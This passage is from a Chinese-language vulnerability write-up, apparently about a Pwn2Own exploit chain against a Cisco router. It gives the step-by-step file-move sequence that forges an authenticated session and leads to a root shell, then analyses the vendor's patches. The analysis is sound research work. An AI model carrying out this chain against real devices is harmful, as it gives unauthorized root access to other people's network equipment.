!important;">&#34;leasetime&#34;</span>:13118911<br/>    }<br/>  }<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">还有个问题需要解决的是如何确定传上去的两个文件的名称。这可以通过利用任意文件移动漏洞备份<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www/index.html</code>，然后随意上传一个文件，再利用任意文件移动漏洞依次序将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/upload/0000000000</code>移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www/index.html</code>，访问主页，如果主页内容发生变化，即可得到序号，下一次再将两个文件上传，文件名称即为刚刚得到的序号递增的两个序号。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">第二步是利用任意文件移动漏洞将刚刚伪造的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session id</code>文件移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录下，实现有效<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">session</code>的伪造。前面说过该任意文件移动只能将任意的文件移动到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>目录下，而<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">websession</code>文件夹则在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录下，如何才能够通过这个漏洞将我们的文件移动到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录下呢？</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">解决方法可以利用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/var</code>这个目录，该目录是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录到链接，将该目录移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www</code>目录下，后续再往<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp/www/var</code>目录下去移动文件即可实现将文件移动至<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/tmp</code>目录中。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">/tmp <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># ls -al / | grep var</span><br/>lrwxrwxrwx    1 root     root             4 Oct 22  2021 var -&gt; /tmp<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">这个过程也要利用一些空的文件夹（<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">3g-4g-driver out_certs certs firmware pnp_config</code>）的移动来实现，具体的操作流程如下所示。第一行是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">post</code>数据包放的内容，第二行是实现的效果。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/websession websession_bak</span><br/>mv /tmp/websession /tmp/www/websession_bak<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/3g-4g-driver websession</span><br/>mv /tmp/3g-4g-driver /tmp/www/websession<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/upload/0000000016 session</span><br/>mv /tmp/upload/0000000016 /tmp/www/session<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/firmware token</span><br/>mv /tmp/firmware /tmp/www/token<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/upload/0000000017 dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8</span><br/>mv /tmp/upload/0000000017 /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 token</span><br/>mv /tmp/www/dead00a47a9b1177e259bd84dff3bd50651df76f61c20139e5b86d6d4bafd2e8 /tmp/www/token<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/www/token websession</span><br/>mv /tmp/www/token /tmp/www/websession<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/www/session websession</span><br/>mv /tmp/www/session /tmp/www/websession<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /var tmp</span><br/>mv /var /tmp/www/tmp<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;"># /tmp/www/websession tmp</span><br/>mv /tmp/www/websession /tmp/www/tmp<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">经过上面的两步一后，即可用认证后的代码执行漏洞拿到<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">root shell</code>。</p><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">漏洞补丁</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">去官网下载新的固件，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">binwalk</code>解压查看内容，对三个漏洞逐个查看。</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">任意文件上传漏洞似乎没有修复，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">cisco</code>可能认为它是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">nginx</code>的一个正常功能。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">location</span> /api/operations/ciscosb-file:form-file-upload {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$http_authorization</span> != <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;&#34;</span>) {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">set</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;0&#34;</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$deny</span> = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;1&#34;</span>) {<br/>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">403</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_pass</span> /form-file-upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store</span> /tmp/upload;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_store_access</span> user:rw group:rw all:rw;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.name <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_name</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.content_type <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_content_type</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_set_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.path <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_tmp_path</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.md5&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_md5</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_aggregate_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_field_name</span>.size&#34;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(98, 151, 85);word-wrap: inherit !important;word-break: inherit !important;">$upload_file_size</span>&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_pass_form_field</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^.*$&#34;</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_cleanup</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">400</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">404</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">499</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">500</span>-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">505</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">upload_resumable</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">on</span>;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">任意文件移动漏洞的修复没有限制<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">/form-file-upload</code>的访问，而是在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">upload.cgi</code>进行了修补。可以看到它在调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">prepare_file</code>之前会校验源目的地地址，从而修复了任意文件移动漏洞。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">  jsonutil_get_string(dword_2348C, &amp;file_path, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;\&#34;file.path\&#34;&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">-1</span>);<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !file_path || match_regex(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;^/tmp/upload/[0-9]{10}$&#34;</span>, file_path) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">puts</span>(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Content-type: text/html\n&#34;</span>);<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">printf</span>(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;Error Input&#34;</span>);<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">goto</span> LABEL_31;<br/>  }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">最后再来看看命令执行漏洞，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>脚本内容未发生变化，但是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">yang</code>接口定义却有变化。可以看到它限制了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">hostname</code>的类型，同时将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">os</code>等参数去掉了，导致无法形成注入。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;padding: 2px 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">    rpc update-clients {<br/>        input {<br/>            list clients {<br/>                key mac;<br/>                leaf mac {<br/>                    type yang:mac-address;<br/>                    mandatory true;<br/>                }<br/>                leaf hostname {<br/>                    type inet:domain-name;<br/>                }<br/>                uses ciscosb-security-common:DEVICE-OS-TYPE;<br/>            }<br/>        }<br/>    }<br/></code></pre><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">配置文件的缺陷看起来微不足道，经过精心构造却能导致严重的漏洞。三个漏洞很巧妙，能够给人很多的启发。</p><h2 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">参考</span></h2><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[1]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> Pwn2Own Austin 2021: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://www.thezdi.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more" target="_blank">https://www.thezdi.com/blog/2021/8/11/pwn2own-austin-2021-phones-printers-nas-and-more</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[2]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> IoT Inspector Research Lab: </span><em style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><a href="https://www.iot-inspector.com/about-us/" target="_blank">https://www.iot-inspector.com/about-us/</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;color: rgb(63, 63, 63);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 12.6px;opacity: 0.6;">[3]</code><span style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"> wp: 